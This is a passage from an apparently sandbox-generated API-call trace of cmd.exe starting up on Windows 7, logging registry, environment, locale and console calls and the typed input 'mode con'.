lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x1, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x1, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x0, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x9, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x4, lpData=0x16e7b0*=0x9, lpcbData=0x16e794*=0x4) returned 0x0 [0036.140] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e790, lpData=0x16e7b0, lpcbData=0x16e794*=0x1000 | out: lpType=0x16e790*=0x0, lpData=0x16e7b0*=0x9, lpcbData=0x16e794*=0x1000) returned 0x2 [0036.141] RegCloseKey (hKey=0x44) returned 0x0 [0036.141] time (in: timer=0x0 | out: timer=0x0) returned 0x5e00c01f [0036.141] srand (_Seed=0x5e00c01f) [0036.141] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0036.141] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0036.141] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a06c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.141] GetProcessHeap () returned 0x1b0000 [0036.141] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1caa10 [0036.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1caa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0036.141] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.141] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.141] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.141] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0036.141] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0036.141] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0036.141] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0036.141] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0036.141] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0036.141] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0036.141] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0036.141] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0036.141] GetProcessHeap () returned 0x1b0000 [0036.142] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c94f0 | out: hHeap=0x1b0000) returned 1 [0036.142] GetEnvironmentStringsW () returned 0x1c8a60* [0036.142] GetProcessHeap () returned 0x1b0000 [0036.142] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa94) returned 0x1cac30 [0036.142] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0036.142] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.142] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.142] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0036.142] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0036.142] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0036.142] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0036.142] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0036.142] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0036.142] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0036.142] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0036.142] GetProcessHeap () returned 0x1b0000 [0036.142] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x5c) returned 0x1cb6d0 [0036.142] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f5a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.142] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f5a0, lpFilePart=0x16f580 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f580*="Desktop") returned 0x25 [0036.142] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.142] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f2b0 | out: lpFindFileData=0x16f2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x1cb740 [0036.142] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0036.143] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f2b0 | out: lpFindFileData=0x16f2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x1cb740 [0036.143] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0036.143] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0036.143] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f2b0 | out: lpFindFileData=0x16f2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56226a20, ftLastAccessTime.dwHighDateTime=0x1d5b994, ftLastWriteTime.dwLowDateTime=0x56226a20, ftLastWriteTime.dwHighDateTime=0x1d5b994, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x1cb740 [0036.143] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0036.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.143] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0036.143] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0036.143] GetProcessHeap () returned 0x1b0000 [0036.143] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cac30 | out: hHeap=0x1b0000) returned 1 [0036.143] GetEnvironmentStringsW () returned 0x1cb740* [0036.143] GetProcessHeap () returned 0x1b0000 [0036.143] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xae8) returned 0x1cc230 [0036.143] FreeEnvironmentStringsW (penv=0x1cb740) returned 1 [0036.143] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a06c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.143] GetProcessHeap () returned 0x1b0000 [0036.143] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cb6d0 | out: hHeap=0x1b0000) returned 1 [0036.143] GetProcessHeap () returned 0x1b0000 [0036.143] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4016) returned 0x1ccd20 [0036.144] GetProcessHeap () returned 0x1b0000 [0036.144] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0036.144] GetConsoleOutputCP () returned 0x1b5 [0036.144] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a06bfe0 | out: lpCPInfo=0x4a06bfe0) returned 1 [0036.144] GetUserDefaultLCID () returned 0x409 [0036.144] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a067b50, cchData=8 | out: lpLCData=":") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f6b0, cchData=128 | out: lpLCData="0") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f6b0, cchData=128 | out: lpLCData="0") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f6b0, cchData=128 | out: lpLCData="1") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a07a740, cchData=8 | out: lpLCData="/") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a07a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a07a460, cchData=32 | out: lpLCData="Tue") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a07a420, cchData=32 | out: lpLCData="Wed") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a07a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a07a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a07a360, cchData=32 | out: lpLCData="Sat") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a07a700, cchData=32 | out: lpLCData="Sun") returned 4 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a067b40, cchData=8 | out: lpLCData=".") returned 2 [0036.145] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a07a4e0, cchData=8 | out: lpLCData=",") returned 2 [0036.145] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0036.145] GetProcessHeap () returned 0x1b0000 [0036.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20c) returned 0x1c95c0 [0036.146] GetConsoleTitleW (in: lpConsoleTitle=0x1c95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.146] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.146] GetFileType (hFile=0x2d0) returned 0x3 [0036.146] BrandingFormatString () returned 0x1c97e0 [0036.148] GetVersion () returned 0x1db10106 [0036.149] _vsnwprintf (in: _Buffer=0x16f820, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x16f7b8 | out: _Buffer="6.1.7601") returned 8 [0036.149] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.149] GetFileType (hFile=0x2d0) returned 0x3 [0036.149] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a076340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0036.149] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a076340, nSize=0x2000, Arguments=0x16f7c0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0036.149] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0036.149] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x16f748, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f748*=0x24, lpOverlapped=0x0) returned 1 [0036.150] _vsnwprintf (in: _Buffer=0x4a076340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f7e8 | out: _Buffer="\r\n") returned 2 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] GetFileType (hFile=0x2d0) returned 0x3 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.150] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f7b8*=0x2, lpOverlapped=0x0) returned 1 [0036.150] _vsnwprintf (in: _Buffer=0x4a076340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x16f7e8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] GetFileType (hFile=0x2d0) returned 0x3 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0036.150] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x16f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f7b8*=0x3f, lpOverlapped=0x0) returned 1 [0036.150] _vsnwprintf (in: _Buffer=0x4a076340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f7e8 | out: _Buffer="\r\n") returned 2 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] GetFileType (hFile=0x2d0) returned 0x3 [0036.150] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.150] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f7b8*=0x2, lpOverlapped=0x0) returned 1 [0036.151] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0036.151] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0036.151] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0036.151] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0036.151] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.151] GetFileType (hFile=0x2c4) returned 0x3 [0036.151] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0036.151] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x16f610 | out: TokenHandle=0x16f610*=0x0) returned 0xc000007c [0036.151] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x16f610 | out: TokenHandle=0x16f610*=0x50) returned 0x0 [0036.151] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x16f620, TokenInformationLength=0x4, ReturnLength=0x16f628 | out: TokenInformation=0x16f620, ReturnLength=0x16f628) returned 0x0 [0036.151] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x16f628, TokenInformationLength=0x4, ReturnLength=0x16f620 | out: TokenInformation=0x16f628, ReturnLength=0x16f620) returned 0x0 [0036.151] NtClose (Handle=0x50) returned 0x0 [0036.151] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x16f5f0, nSize=0x0, Arguments=0x16f5f8 | out: lpBuffer="韠\x1c") returned 0xf [0036.151] GetProcessHeap () returned 0x1b0000 [0036.151] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1b1ab0 [0036.151] GetConsoleTitleW (in: lpConsoleTitle=0x16f640, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.153] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0036.153] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0036.153] GetProcessHeap () returned 0x1b0000 [0036.153] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0036.154] LocalFree (hMem=0x1c97e0) returned 0x0 [0036.154] GetProcessHeap () returned 0x1b0000 [0036.154] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa10 | out: hHeap=0x1b0000) returned 1 [0036.154] _vsnwprintf (in: _Buffer=0x4a076340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f328 | out: _Buffer="\r\n") returned 2 [0036.154] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.154] GetFileType (hFile=0x2d0) returned 0x3 [0036.154] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.154] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f2f8, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f2f8*=0x2, lpOverlapped=0x0) returned 1 [0036.154] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0036.154] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a06c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.154] _vsnwprintf (in: _Buffer=0x4a05eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16f338 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0036.154] _vsnwprintf (in: _Buffer=0x4a05ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16f338 | out: _Buffer=">") returned 1 [0036.154] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.154] GetFileType (hFile=0x2d0) returned 0x3 [0036.154] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0036.154] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x16f328, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f328*=0x26, lpOverlapped=0x0) returned 1 [0036.154] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.154] GetFileType (hFile=0x2c4) returned 0x3 [0036.155] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.155] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.155] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0036.155] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.155] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.155] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0036.155] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: 